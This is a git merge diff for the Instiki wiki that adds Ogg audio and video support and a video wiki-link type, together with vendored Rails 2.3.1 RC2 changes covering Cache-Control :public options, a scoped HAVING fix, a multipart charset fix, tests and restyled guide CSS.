Merge branch 'bzr/golem' of /Users/distler/Sites/code/instiki
|
@ -48,6 +48,9 @@ class ApplicationController < ActionController::Base
|
|||
'.jpg' => 'image/jpeg',
|
||||
'.pdf' => 'application/pdf',
|
||||
'.png' => 'image/png',
|
||||
'.oga' => 'audio/ogg',
|
||||
'.ogg' => 'audio/ogg',
|
||||
'.ogv' => 'video/ogg',
|
||||
'.txt' => 'text/plain',
|
||||
'.tex' => 'text/plain',
|
||||
'.zip' => 'application/zip'
|
||||
|
@ -59,6 +62,8 @@ class ApplicationController < ActionController::Base
|
|||
'image/jpeg' => 'inline',
|
||||
'application/pdf' => 'inline',
|
||||
'image/png' => 'inline',
|
||||
'audio/ogg' => 'inline',
|
||||
'video/ogg' => 'inline',
|
||||
'text/plain' => 'inline',
|
||||
'application/zip' => 'attachment'
|
||||
} unless defined? DISPOSITION
|
||||
|
@ -67,6 +72,7 @@ class ApplicationController < ActionController::Base
|
|||
original_options[:type] ||= (FILE_TYPES[File.extname(file_name)] or 'application/octet-stream')
|
||||
original_options[:disposition] ||= (DISPOSITION[original_options[:type]] or 'attachment')
|
||||
original_options[:stream] ||= false
|
||||
original_options[:x_sendfile] = true if request.env.include?('HTTP_X_SENDFILE_TYPE')
|
||||
original_options
|
||||
end
|
||||
|
||||
|
|
|
@ -7,7 +7,6 @@ rexml_versions = ['', File.dirname(__FILE__) + '/../vendor/plugins/rexml/lib/'].
|
|||
`ruby -r #{v + 'rexml/rexml'} -e 'p REXML::VERSION'`.split('.').collect {|n| n.to_i} }
|
||||
$:.unshift(File.dirname(__FILE__) + '/../vendor/plugins/rexml/lib') if (rexml_versions[0] <=> rexml_versions[1]) == -1
|
||||
|
||||
#$:.unshift(File.dirname(__FILE__) + '/../vendor/plugins/rack/lib')
|
||||
require File.join(File.dirname(__FILE__), 'boot')
|
||||
|
||||
require 'active_support/secure_random'
|
||||
|
@ -60,3 +59,7 @@ require_dependency 'instiki_errors'
|
|||
|
||||
#require 'jcode'
|
||||
require 'caching_stuff'
|
||||
|
||||
#Additional Mime-types
|
||||
mime_types = YAML.load_file(File.join(File.dirname(__FILE__), 'mime_types.yml'))
|
||||
Rack::Mime::MIME_TYPES.merge!(mime_types)
|
||||
|
|
|
@ -3,6 +3,9 @@
|
|||
.gz: application/x-gzip
|
||||
.js: application/x-javascript
|
||||
.nb: application/mathematica
|
||||
.oga: audio/ogg
|
||||
.ogg: audio/ogg
|
||||
.ogv: video/ogg
|
||||
.pdf: application/pdf
|
||||
.svg: application/svg+xml
|
||||
.tar: application/x-tar
|
||||
|
|
|
@ -105,7 +105,7 @@ module WikiChunk
|
|||
|
||||
unless defined? WIKI_LINK
|
||||
WIKI_LINK = /(":)?\[\[\s*([^\]\s][^\]]*?)\s*\]\]/
|
||||
LINK_TYPE_SEPARATION = Regexp.new('^(.+):((file)|(pic)|(delete))$', 0)
|
||||
LINK_TYPE_SEPARATION = Regexp.new('^(.+):((file)|(pic)|(video)|(delete))$', 0)
|
||||
ALIAS_SEPARATION = Regexp.new('^(.+)\|(.+)$', 0)
|
||||
WEB_SEPARATION = Regexp.new('^(.+):(.+)$', 0)
|
||||
end
|
||||
|
|
|
@ -14,7 +14,7 @@ module Sanitizer
|
|||
em fieldset font form h1 h2 h3 h4 h5 h6 hr i img input ins kbd label
|
||||
legend li map menu ol optgroup option p pre q s samp select small span
|
||||
strike strong sub sup table tbody td textarea tfoot th thead tr tt u
|
||||
ul var]
|
||||
ul var video]
|
||||
|
||||
mathml_elements = %w[annotation annotation-xml maction math merror mfrac
|
||||
mfenced mi mmultiscripts mn mo mover mpadded mphantom mprescripts mroot
|
||||
|
@ -29,7 +29,7 @@ module Sanitizer
|
|||
|
||||
acceptable_attributes = %w[abbr accept accept-charset accesskey action
|
||||
align alt axis border cellpadding cellspacing char charoff charset
|
||||
checked cite class clear cols colspan color compact coords datetime
|
||||
checked cite class clear cols colspan color compact controls coords datetime
|
||||
dir disabled enctype for frame headers height href hreflang hspace id
|
||||
ismap label lang longdesc maxlength media method multiple name nohref
|
||||
noshade nowrap prompt readonly rel rev rows rowspan rules scope
|
||||
|
|
|
@ -35,6 +35,8 @@ class AbstractUrlGenerator
|
|||
file_link(mode, name, text, web.address, known_page, description)
|
||||
when :pic
|
||||
pic_link(mode, name, text, web.address, known_page)
|
||||
when :video
|
||||
video_link(mode, name, text, web.address, known_page)
|
||||
when :delete
|
||||
delete_link(mode, name, web.address, known_page)
|
||||
else
|
||||
|
@ -141,6 +143,31 @@ class UrlGenerator < AbstractUrlGenerator
|
|||
end
|
||||
end
|
||||
|
||||
def video_link(mode, name, text, web_address, known_vid)
|
||||
href = @controller.url_for :controller => 'file', :web => web_address, :action => 'file',
|
||||
:id => name
|
||||
case mode
|
||||
when :export
|
||||
if known_vid
|
||||
%{<video src="#{CGI.escape(name)}" controls="controls">#{text}</video>}
|
||||
else
|
||||
text
|
||||
end
|
||||
when :publish
|
||||
if known_vid
|
||||
%{<video src="#{href}" controls="controls">#{text}</video>}
|
||||
else
|
||||
%{<span class="newWikiWord">#{text}</span>}
|
||||
end
|
||||
else
|
||||
if known_vid
|
||||
%{<video src="#{href}" controls="controls">#{text}</video>}
|
||||
else
|
||||
%{<span class="newWikiWord">#{text}<a href="#{href}">?</a></span>}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def delete_link(mode, name, web_address, known_file)
|
||||
href = @controller.url_for :controller => 'file', :web => web_address,
|
||||
:action => 'delete', :id => name
|
||||
|
|
|
@ -24,7 +24,7 @@ module HTML5
|
|||
em fieldset font form h1 h2 h3 h4 h5 h6 hr i img input ins kbd label
|
||||
legend li map menu ol optgroup option p pre q s samp select small span
|
||||
strike strong sub sup table tbody td textarea tfoot th thead tr tt u
|
||||
ul var]
|
||||
ul var video]
|
||||
|
||||
MATHML_ELEMENTS = %w[annotation annotation-xml maction math merror mfrac
|
||||
mfenced mi mmultiscripts mn mo mover mpadded mphantom mprescripts mroot mrow
|
||||
|
@ -39,7 +39,7 @@ module HTML5
|
|||
|
||||
ACCEPTABLE_ATTRIBUTES = %w[abbr accept accept-charset accesskey action
|
||||
align alt axis border cellpadding cellspacing char charoff charset
|
||||
checked cite class clear cols colspan color compact coords datetime
|
||||
checked cite class clear cols colspan color compact controls coords datetime
|
||||
dir disabled enctype for frame headers height href hreflang hspace id
|
||||
ismap label lang longdesc maxlength media method multiple name nohref
|
||||
noshade nowrap prompt readonly rel rev rows rowspan rules scope
|
||||
|
|
2
vendor/rails/actionmailer/CHANGELOG
vendored
|
@ -1,4 +1,4 @@
|
|||
*2.3.1 [RC2] (February 27th, 2009)*
|
||||
*2.3.1 [RC2] (February ?, 2009)*
|
||||
|
||||
* Fixed that ActionMailer should send correctly formatted Return-Path in MAIL FROM for SMTP #1842 [Matt Jones]
|
||||
|
||||
|
|
|
@ -88,7 +88,10 @@ module ActionMailer
|
|||
part.parts << prt
|
||||
end
|
||||
|
||||
part.set_content_type(real_content_type, nil, ctype_attrs) if real_content_type =~ /multipart/
|
||||
if real_content_type =~ /multipart/
|
||||
ctype_attrs.delete 'charset'
|
||||
part.set_content_type(real_content_type, nil, ctype_attrs)
|
||||
end
|
||||
end
|
||||
|
||||
headers.each { |k,v| part[k] = v }
|
||||
|
|
|
@ -330,6 +330,7 @@ class ActionMailerTest < Test::Unit::TestCase
|
|||
assert_equal "multipart/mixed", created.content_type
|
||||
assert_equal "multipart/alternative", created.parts.first.content_type
|
||||
assert_equal "bar", created.parts.first.header['foo'].to_s
|
||||
assert_nil created.parts.first.charset
|
||||
assert_equal "text/plain", created.parts.first.parts.first.content_type
|
||||
assert_equal "text/html", created.parts.first.parts[1].content_type
|
||||
assert_equal "application/octet-stream", created.parts[1].content_type
|
||||
|
|
4
vendor/rails/actionpack/CHANGELOG
vendored
|
@ -1,4 +1,6 @@
|
|||
*2.3.1 [RC2] (February 27th, 2009)*
|
||||
*2.3.1 [RC2] (February ?, 2009)*
|
||||
|
||||
* Added ability to pass in :public => true to fresh_when, stale?, and expires_in to make the request proxy cachable #2095 [Gregg Pollack]
|
||||
|
||||
* Fixed that passing a custom form builder would be forwarded to nested fields_for calls #2023 [Eloy Duran/Nate Wiger]
|
||||
|
||||
|
|
|
@ -1133,6 +1133,11 @@ module ActionController #:nodoc:
|
|||
# request is considered stale and should be generated from scratch. Otherwise,
|
||||
# it's fresh and we don't need to generate anything and a reply of "304 Not Modified" is sent.
|
||||
#
|
||||
# Parameters:
|
||||
# * <tt>:etag</tt>
|
||||
# * <tt>:last_modified</tt>
|
||||
# * <tt>:public</tt> By default the Cache-Control header is private, set this to true if you want your application to be cachable by other devices (proxy caches).
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# def show
|
||||
|
@ -1153,21 +1158,35 @@ module ActionController #:nodoc:
|
|||
# Sets the etag, last_modified, or both on the response and renders a
|
||||
# "304 Not Modified" response if the request is already fresh.
|
||||
#
|
||||
# Parameters:
|
||||
# * <tt>:etag</tt>
|
||||
# * <tt>:last_modified</tt>
|
||||
# * <tt>:public</tt> By default the Cache-Control header is private, set this to true if you want your application to be cachable by other devices (proxy caches).
|
||||
#
|
||||
# Example:
|
||||
#
|
||||
# def show
|
||||
# @article = Article.find(params[:id])
|
||||
# fresh_when(:etag => @article, :last_modified => @article.created_at.utc)
|
||||
# fresh_when(:etag => @article, :last_modified => @article.created_at.utc, :public => true)
|
||||
# end
|
||||
#
|
||||
# This will render the show template if the request isn't sending a matching etag or
|
||||
# If-Modified-Since header and just a "304 Not Modified" response if there's a match.
|
||||
#
|
||||
def fresh_when(options)
|
||||
options.assert_valid_keys(:etag, :last_modified)
|
||||
options.assert_valid_keys(:etag, :last_modified, :public)
|
||||
|
||||
response.etag = options[:etag] if options[:etag]
|
||||
response.last_modified = options[:last_modified] if options[:last_modified]
|
||||
|
||||
if options[:public]
|
||||
cache_control = response.headers["Cache-Control"].split(",").map {|k| k.strip }
|
||||
cache_control.delete("private")
|
||||
cache_control.delete("no-cache")
|
||||
cache_control << "public"
|
||||
response.headers["Cache-Control"] = cache_control.join(', ')
|
||||
end
|
||||
|
||||
if request.fresh?(response)
|
||||
head :not_modified
|
||||
end
|
||||
|
@ -1178,15 +1197,24 @@ module ActionController #:nodoc:
|
|||
#
|
||||
# Examples:
|
||||
# expires_in 20.minutes
|
||||
# expires_in 3.hours, :private => false
|
||||
# expires in 3.hours, 'max-stale' => 5.hours, :private => nil, :public => true
|
||||
# expires_in 3.hours, :public => true
|
||||
# expires in 3.hours, 'max-stale' => 5.hours, :public => true
|
||||
#
|
||||
# This method will overwrite an existing Cache-Control header.
|
||||
# See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities.
|
||||
def expires_in(seconds, options = {}) #:doc:
|
||||
cache_options = { 'max-age' => seconds, 'private' => true }.symbolize_keys.merge!(options.symbolize_keys)
|
||||
cache_options.delete_if { |k,v| v.nil? or v == false }
|
||||
cache_control = cache_options.map{ |k,v| v == true ? k.to_s : "#{k.to_s}=#{v.to_s}"}
|
||||
cache_control = response.headers["Cache-Control"].split(",").map {|k| k.strip }
|
||||
|
||||
cache_control << "max-age=#{seconds}"
|
||||
if options[:public]
|
||||
cache_control.delete("private")
|
||||
cache_control.delete("no-cache")
|
||||
cache_control << "public"
|
||||
end
|
||||
|
||||
# This allows for additional headers to be passed through like 'max-stale' => 5.hours
|
||||
cache_control += options.symbolize_keys.reject{|k,v| k == :public || k == :private }.map{ |k,v| v == true ? k.to_s : "#{k.to_s}=#{v.to_s}"}
|
||||
|
||||
response.headers["Cache-Control"] = cache_control.join(', ')
|
||||
end
|
||||
|
||||
|
|
|
@ -183,12 +183,12 @@ module ActionView #:nodoc:
|
|||
cattr_accessor :debug_rjs
|
||||
|
||||
# Specify whether templates should be cached. Otherwise the file we be read everytime it is accessed.
|
||||
# Automaticaly reloading templates are not thread safe and should only be used in development mode.
|
||||
@@cache_template_loading = false
|
||||
# Automatically reloading templates are not thread safe and should only be used in development mode.
|
||||
@@cache_template_loading = nil
|
||||
cattr_accessor :cache_template_loading
|
||||
|
||||
def self.cache_template_loading?
|
||||
ActionController::Base.allow_concurrency || cache_template_loading
|
||||
ActionController::Base.allow_concurrency || (cache_template_loading.nil? ? !ActiveSupport::Dependencies.load? : cache_template_loading)
|
||||
end
|
||||
|
||||
attr_internal :request
|
||||
|
|
|
@ -37,6 +37,39 @@ class TestController < ActionController::Base
|
|||
end
|
||||
end
|
||||
|
||||
def conditional_hello_with_public_header
|
||||
if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
|
||||
render :action => 'hello_world'
|
||||
end
|
||||
end
|
||||
|
||||
def conditional_hello_with_public_header_and_expires_at
|
||||
expires_in 1.minute
|
||||
if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
|
||||
render :action => 'hello_world'
|
||||
end
|
||||
end
|
||||
|
||||
def conditional_hello_with_expires_in
|
||||
expires_in 1.minute
|
||||
render :action => 'hello_world'
|
||||
end
|
||||
|
||||
def conditional_hello_with_expires_in_with_public
|
||||
expires_in 1.minute, :public => true
|
||||
render :action => 'hello_world'
|
||||
end
|
||||
|
||||
def conditional_hello_with_expires_in_with_public_with_more_keys
|
||||
expires_in 1.minute, :public => true, 'max-stale' => 5.hours
|
||||
render :action => 'hello_world'
|
||||
end
|
||||
|
||||
def conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
|
||||
expires_in 1.minute, :public => true, :private => nil, 'max-stale' => 5.hours
|
||||
render :action => 'hello_world'
|
||||
end
|
||||
|
||||
def conditional_hello_with_bangs
|
||||
render :action => 'hello_world'
|
||||
end
|
||||
|
@ -1464,6 +1497,35 @@ class RenderTest < ActionController::TestCase
|
|||
end
|
||||
end
|
||||
|
||||
class ExpiresInRenderTest < ActionController::TestCase
|
||||
tests TestController
|
||||
|
||||
def setup
|
||||
@request.host = "www.nextangle.com"
|
||||
end
|
||||
|
||||
def test_expires_in_header
|
||||
get :conditional_hello_with_expires_in
|
||||
assert_equal "max-age=60, private", @response.headers["Cache-Control"]
|
||||
end
|
||||
|
||||
def test_expires_in_header
|
||||
get :conditional_hello_with_expires_in_with_public
|
||||
assert_equal "max-age=60, public", @response.headers["Cache-Control"]
|
||||
end
|
||||
|
||||
def test_expires_in_header_with_additional_headers
|
||||
get :conditional_hello_with_expires_in_with_public_with_more_keys
|
||||
assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
|
||||
end
|
||||
|
||||
def test_expires_in_old_syntax
|
||||
get :conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
|
||||
assert_equal "max-age=60, public, max-stale=18000", @response.headers["Cache-Control"]
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
class EtagRenderTest < ActionController::TestCase
|
||||
tests TestController
|
||||
|
||||
|
@ -1554,6 +1616,16 @@ class EtagRenderTest < ActionController::TestCase
|
|||
assert_response :not_modified
|
||||
end
|
||||
|
||||
def test_etag_with_public_true_should_set_header
|
||||
get :conditional_hello_with_public_header
|
||||
assert_equal "public", @response.headers['Cache-Control']
|
||||
end
|
||||
|
||||
def test_etag_with_public_true_should_set_header_and_retain_other_headers
|
||||
get :conditional_hello_with_public_header_and_expires_at
|
||||
assert_equal "max-age=60, public", @response.headers['Cache-Control']
|
||||
end
|
||||
|
||||
protected
|
||||
def etag_for(text)
|
||||
%("#{Digest::MD5.hexdigest(text)}")
|
||||
|
|
|
@ -230,7 +230,7 @@ module RenderTestCases
|
|||
end
|
||||
end
|
||||
|
||||
def test_template_with_malformed_template_handler_is_reachable_trough_its_exact_filename
|
||||
def test_template_with_malformed_template_handler_is_reachable_through_its_exact_filename
|
||||
assert_equal "Don't render me!", @view.render(:file => 'test/malformed/malformed.html.erb~')
|
||||
end
|
||||
|
||||
|
|
2
vendor/rails/activerecord/CHANGELOG
vendored
|
@ -1,4 +1,4 @@
|
|||
*2.3.1 [RC2] (February 27th, 2009)*
|
||||
*2.3.1 [RC2] (February ?, 2009)*
|
||||
|
||||
* Added ActiveRecord::Base.each and ActiveRecord::Base.find_in_batches for batch processing [DHH/Jamis Buck]
|
||||
|
||||
|
|
|
@ -1759,7 +1759,7 @@ module ActiveRecord #:nodoc:
|
|||
scope = scope(:find) if :auto == scope
|
||||
if scope && (scoped_group = scope[:group])
|
||||
sql << " GROUP BY #{scoped_group}"
|
||||
sql << " HAVING #{scoped_having}" if (scoped_having = scope[:having])
|
||||
sql << " HAVING #{scope[:having]}" if scope[:having]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -8,6 +8,25 @@ module ActiveRecord #:nodoc:
|
|||
# Returns a JSON string representing the model. Some configuration is
|
||||
# available through +options+.
|
||||
#
|
||||
# The option <tt>ActiveRecord::Base.include_root_in_json</tt> controls the
|
||||
# top-level behavior of to_json. In a new Rails application, it is set to
|
||||
# <tt>true</tt> in initializers/new_rails_defaults.rb. When it is <tt>true</tt>,
|
||||
# to_json will emit a single root node named after the object's type. For example:
|
||||
#
|
||||
# konata = User.find(1)
|
||||
# ActiveRecord::Base.include_root_in_json = true
|
||||
# konata.to_json
|
||||
# # => { "user": {"id": 1, "name": "Konata Izumi", "age": 16,
|
||||
# "created_at": "2006/08/01", "awesome": true} }
|
||||
#
|
||||
# ActiveRecord::Base.include_root_in_json = false
|
||||
# konata.to_json
|
||||
# # => {"id": 1, "name": "Konata Izumi", "age": 16,
|
||||
# "created_at": "2006/08/01", "awesome": true}
|
||||
#
|
||||
# The remainder of the examples in this section assume include_root_in_json is set to
|
||||
# <tt>false</tt>.
|
||||
#
|
||||
# Without any +options+, the returned JSON string will include all
|
||||
# the model's attributes. For example:
|
||||
#
|
||||
|
|
|
@ -1755,6 +1755,13 @@ class BasicsTest < ActiveRecord::TestCase
|
|||
end
|
||||
end
|
||||
|
||||
def test_scoped_find_with_group_and_having
|
||||
developers = Developer.with_scope(:find => { :group => 'salary', :having => "SUM(salary) > 10000", :select => "SUM(salary) as salary" }) do
|
||||
Developer.find(:all)
|
||||
end
|
||||
assert_equal 3, developers.size
|
||||
end
|
||||
|
||||
def test_find_last
|
||||
last = Developer.find :last
|
||||
assert_equal last, Developer.find(:first, :order => 'id desc')
|
||||
|
|
2
vendor/rails/activeresource/CHANGELOG
vendored
|
@ -1,4 +1,4 @@
|
|||
*2.3.1 [RC2] (February 27th, 2009)*
|
||||
*2.3.1 [RC2] (February ?, 2009)*
|
||||
|
||||
* Nothing new, just included in 2.3.1
|
||||
|
||||
|
|
2
vendor/rails/activesupport/CHANGELOG
vendored
|
@ -1,4 +1,4 @@
|
|||
*2.3.1 [RC2] (February 27th, 2009)*
|
||||
*2.3.1 [RC2] (February ?, 2009)*
|
||||
|
||||
* Vendorize i18n 0.1.3 gem (fixes issues with incompatible character encodings in Ruby 1.9) #2038 [Akira Matsuda]
|
||||
|
||||
|
|
2
vendor/rails/railties/CHANGELOG
vendored
|
@ -1,4 +1,4 @@
|
|||
*2.3.1 [RC2] (February 27th, 2009)*
|
||||
*2.3.1 [RC2] (February ?, 2009)*
|
||||
|
||||
* Allow metal to live in plugins #2045 [Matthew Rudy]
|
||||
|
||||
|
|
|
@ -1,138 +1,70 @@
|
|||
/* Guides.rubyonrails.org */
|
||||
/* Main.css */
|
||||
/* Created January 30, 2009 */
|
||||
/* Modified January 31, 2009
|
||||
/* Modified February 8, 2009
|
||||
--------------------------------------- */
|
||||
|
||||
/* General
|
||||
--------------------------------------- */
|
||||
|
||||
.left {
|
||||
float: left;
|
||||
margin-right: 1em;
|
||||
}
|
||||
.right {
|
||||
float: right;
|
||||
margin-left: 1em;
|
||||
}
|
||||
.small {
|
||||
font-size: smaller;
|
||||
}
|
||||
.large {
|
||||
font-size: larger;
|
||||
}
|
||||
.hide {
|
||||
display: none;
|
||||
}
|
||||
.left {float: left; margin-right: 1em;}
|
||||
.right {float: right; margin-left: 1em;}
|
||||
.small {font-size: smaller;}
|
||||
.large {font-size: larger;}
|
||||
.hide {display: none;}
|
||||
|
||||
li ul, li ol {
|
||||
margin: 0 1.5em;
|
||||
}
|
||||
ul, ol {
|
||||
margin: 0 1.5em 1.5em 1.5em;
|
||||
}
|
||||
li ul, li ol { margin:0 1.5em; }
|
||||
ul, ol { margin: 0 1.5em 1.5em 1.5em; }
|
||||
|
||||
ul {
|
||||
list-style-type: disc;
|
||||
}
|
||||
ol {
|
||||
list-style-type: decimal;
|
||||
}
|
||||
ul { list-style-type: disc; }
|
||||
ol { list-style-type: decimal; }
|
||||
|
||||
dl {
|
||||
margin: 0 0 1.5em 0;
|
||||
}
|
||||
dl dt {
|
||||
font-weight: bold;
|
||||
}
|
||||
dd {
|
||||
margin-left: 1.5em;
|
||||
}
|
||||
dl { margin: 0 0 1.5em 0; }
|
||||
dl dt { font-weight: bold; }
|
||||
dd { margin-left: 1.5em;}
|
||||
|
||||
pre,code {
|
||||
margin: 1.5em 0;
|
||||
white-space: pre;
|
||||
}
|
||||
pre,code {
|
||||
font: 1em 'andale mono', 'lucida console', monospace;
|
||||
line-height: 1.5;
|
||||
}
|
||||
pre,code { margin: 1.5em 0; white-space: pre; overflow: auto; }
|
||||
pre,code,tt { font: 1em 'andale mono', 'lucida console', monospace; line-height: 1.5; }
|
||||
|
||||
abbr, acronym {
|
||||
border-bottom: 1px dotted #666;
|
||||
}
|
||||
address {
|
||||
margin: 0 0 1.5em;
|
||||
font-style: italic;
|
||||
}
|
||||
del {
|
||||
color: #666;
|
||||
}
|
||||
abbr, acronym { border-bottom: 1px dotted #666; }
|
||||
address { margin: 0 0 1.5em; font-style: italic; }
|
||||
del { color:#666; }
|
||||
|
||||
blockquote {
|
||||
margin: 1.5em;
|
||||
color: #666;
|
||||
font-style: italic;
|
||||
}
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
em, dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
dfn {
|
||||
font-weight: bold;
|
||||
}
|
||||
sup, sub {
|
||||
line-height: 0;
|
||||
}
|
||||
p {
|
||||
margin: 0 0 1.5em;
|
||||
}
|
||||
blockquote { margin: 1.5em; color: #666; font-style: italic; }
|
||||
strong { font-weight: bold; }
|
||||
em, dfn { font-style: italic; }
|
||||
dfn { font-weight: bold; }
|
||||
sup, sub { line-height: 0; }
|
||||
p {margin: 0 0 1.5em;}
|
||||
|
||||
label {
|
||||
font-weight: bold;
|
||||
}
|
||||
fieldset {
|
||||
padding: 1.4em;
|
||||
margin: 0 0 1.5em 0;
|
||||
border: 1px solid #ccc;
|
||||
}
|
||||
legend {
|
||||
font-weight: bold;
|
||||
font-size: 1.2em;
|
||||
}
|
||||
label { font-weight: bold; }
|
||||
fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
|
||||
legend { font-weight: bold; font-size:1.2em; }
|
||||
|
||||
input.text, input.title, textarea, select {
|
||||
margin: 0.5em 0em;
|
||||
border: 1px solid #bbb;
|
||||
input.text, input.title,
|
||||
textarea, select {
|
||||
margin:0.5em 0;
|
||||
border:1px solid #bbb;
|
||||
}
|
||||
|
||||
table {
|
||||
margin: 1em 0;
|
||||
border: 1px solid #ddd;
|
||||
background: #f4f4f4;
|
||||
border-spacing: 0;
|
||||
margin: 0 0 1.5em;
|
||||
border: 2px solid #CCC;
|
||||
background: #FFF;
|
||||
border-collapse: collapse;
|
||||
}
|
||||
|
||||
table th, table td {
|
||||
padding: 0.25em;
|
||||
border-right: 1px dotted #e0e0e0;
|
||||
border-bottom: 1px dotted #e0e0e0;
|
||||
}
|
||||
|
||||
table th:last-child, table td:last-child {
|
||||
border-right: none;
|
||||
padding: 0.25em 1em;
|
||||
border: 1px solid #CCC;
|
||||
border-collapse: collapse;
|
||||
}
|
||||
|
||||
table th {
|
||||
border-bottom: 1px solid #ddd;
|
||||
background: #f0f0f0;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
table tt {
|
||||
padding: 0.1em;
|
||||
border-bottom: 2px solid #CCC;
|
||||
background: #EEE;
|
||||
font-weight: bold;
|
||||
padding: 0.5em 1em;
|
||||
}
|
||||
|
||||
|
||||
|
@ -140,416 +72,344 @@ table tt {
|
|||
--------------------------------------- */
|
||||
|
||||
body {
|
||||
text-align: center;
|
||||
font-family: Helvetica, Arial, sans-serif;
|
||||
font-size: 87.5%;
|
||||
line-height: 1.5em;
|
||||
background: #222;
|
||||
color: #999;
|
||||
}
|
||||
text-align: center;
|
||||
font-family: Helvetica, Arial, sans-serif;
|
||||
font-size: 87.5%;
|
||||
line-height: 1.5em;
|
||||
background: #222;
|
||||
color: #999;
|
||||
}
|
||||
|
||||
.wrapper {
|
||||
text-align: left;
|
||||
margin: 0 auto;
|
||||
width: 69em;
|
||||
}
|
||||
text-align: left;
|
||||
margin: 0 auto;
|
||||
width: 69em;
|
||||
}
|
||||
|
||||
#topNav {
|
||||
padding: 1em 0;
|
||||
color: #565656;
|
||||
padding: 1em 0;
|
||||
color: #565656;
|
||||
}
|
||||
|
||||
#header {
|
||||
background: #c52f24 url(../../images/header_tile.gif) repeat-x;
|
||||
color: #FFF;
|
||||
padding: 1.5em 0;
|
||||
position: relative;
|
||||
z-index: 99;
|
||||
}
|
||||
background: #c52f24 url(../../images/header_tile.gif) repeat-x;
|
||||
color: #FFF;
|
||||
padding: 1.5em 0;
|
||||
position: relative;
|
||||
z-index: 99;
|
||||
}
|
||||
|
||||
#feature {
|
||||
background: #d5e9f6 url(../../images/feature_tile.gif) repeat-x;
|
||||
color: #333;
|
||||
padding: 0.5em 0 1.5em;
|
||||
background: #d5e9f6 url(../../images/feature_tile.gif) repeat-x;
|
||||
color: #333;
|
||||
padding: 0.5em 0 1.5em;
|
||||
}
|
||||
|
||||
#container {
|
||||
background: #FFF;
|
||||
color: #333;
|
||||
padding: 0.5em 0 1.5em 0;
|
||||
}
|
||||
background: #FFF;
|
||||
color: #333;
|
||||
padding: 0.5em 0 1.5em 0;
|
||||
}
|
||||
|
||||
#mainCol {
|
||||
width: 45em;
|
||||
margin-left: 2em;
|
||||
}
|
||||
width: 45em;
|
||||
margin-left: 2em;
|
||||
}
|
||||
|
||||
#subCol {
|
||||
position: absolute;
|
||||
z-index: 0;
|
||||
top: 0;
|
||||
right: 0;
|
||||
background: #FFF;
|
||||
padding: 1em 1.5em 1em 1.25em;
|
||||
width: 17em;
|
||||
font-size: 0.9285em;
|
||||
line-height: 1.3846em;
|
||||
}
|
||||
position: absolute;
|
||||
z-index: 0;
|
||||
top: 0;
|
||||
right: 0;
|
||||
background: #FFF;
|
||||
padding: 1em 1.5em 1em 1.25em;
|
||||
width: 17em;
|
||||
font-size: 0.9285em;
|
||||
line-height: 1.3846em;
|
||||
}
|
||||
|
||||
#extraCol {
|
||||
display: none;
|
||||
}
|
||||
#extraCol {display: none;}
|
||||
|
||||
#footer {
|
||||
padding: 2em 0;
|
||||
background: url(../../images/footer_tile.gif) repeat-x;
|
||||
}
|
||||
padding: 2em 0;
|
||||
background: url(../../images/footer_tile.gif) repeat-x;
|
||||
}
|
||||
#footer .wrapper {
|
||||
padding-left: 2em;
|
||||
width: 67em;
|
||||
padding-left: 2em;
|
||||
width: 67em;
|
||||
}
|
||||
|
||||
#header .wrapper, #topNav .wrapper, #feature .wrapper {
|
||||
padding-left: 1em;
|
||||
width: 68em;
|
||||
}
|
||||
#feature .wrapper {
|
||||
width: 45em;
|
||||
padding-right: 23em;
|
||||
position: relative;
|
||||
z-index: 0;
|
||||
}
|
||||
#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; width: 68em;}
|
||||
#feature .wrapper {width: 45em; padding-right: 23em; position: relative; z-index: 0;}
|
||||
|
||||
/* Links
|
||||
--------------------------------------- */
|
||||
|
||||
a, a:link, a:visited {
|
||||
color: #ee3f3f;
|
||||
text-decoration: underline;
|
||||
}
|
||||
color: #ee3f3f;
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
#mainCol a, #subCol a {
|
||||
color: #980905;
|
||||
}
|
||||
#mainCol a, #subCol a, #feature a {color: #980905;}
|
||||
|
||||
|
||||
/* Navigation
|
||||
--------------------------------------- */
|
||||
|
||||
.nav {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
.nav li {
|
||||
display: inline;
|
||||
list-style: none;
|
||||
}
|
||||
.nav {margin: 0; padding: 0;}
|
||||
.nav li {display: inline; list-style: none;}
|
||||
|
||||
#header .nav {
|
||||
float: right;
|
||||
margin-top: 1.5em;
|
||||
font-size: 1.2857em;
|
||||
float: right;
|
||||
margin-top: 1.5em;
|
||||
font-size: 1.2857em;
|
||||
}
|
||||
|
||||
#header .nav li {
|
||||
margin: 0 0 0 0.5em;
|
||||
}
|
||||
#header .nav a {
|
||||
color: #FFF;
|
||||
text-decoration: none;
|
||||
}
|
||||
#header .nav a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
#header .nav li {margin: 0 0 0 0.5em;}
|
||||
#header .nav a {color: #FFF; text-decoration: none;}
|
||||
#header .nav a:hover {text-decoration: underline;}
|
||||
|
||||
#header .nav .index {
|
||||
padding: 0.5em 1.5em;
|
||||
border-radius: 1em;
|
||||
-webkit-border-radius: 1em;
|
||||
-moz-border-radius: 1em;
|
||||
background: #980905;
|
||||
position: relative;
|
||||
padding: 0.5em 1.5em;
|
||||
border-radius: 1em;
|
||||
-webkit-border-radius: 1em;
|
||||
-moz-border-radius: 1em;
|
||||
background: #980905;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
#header .nav .index a {
|
||||
background: #980905 url(../../images/nav_arrow.gif) no-repeat right top;
|
||||
padding-right: 1em;
|
||||
position: relative;
|
||||
z-index: 15;
|
||||
padding-bottom: 0.125em;
|
||||
}
|
||||
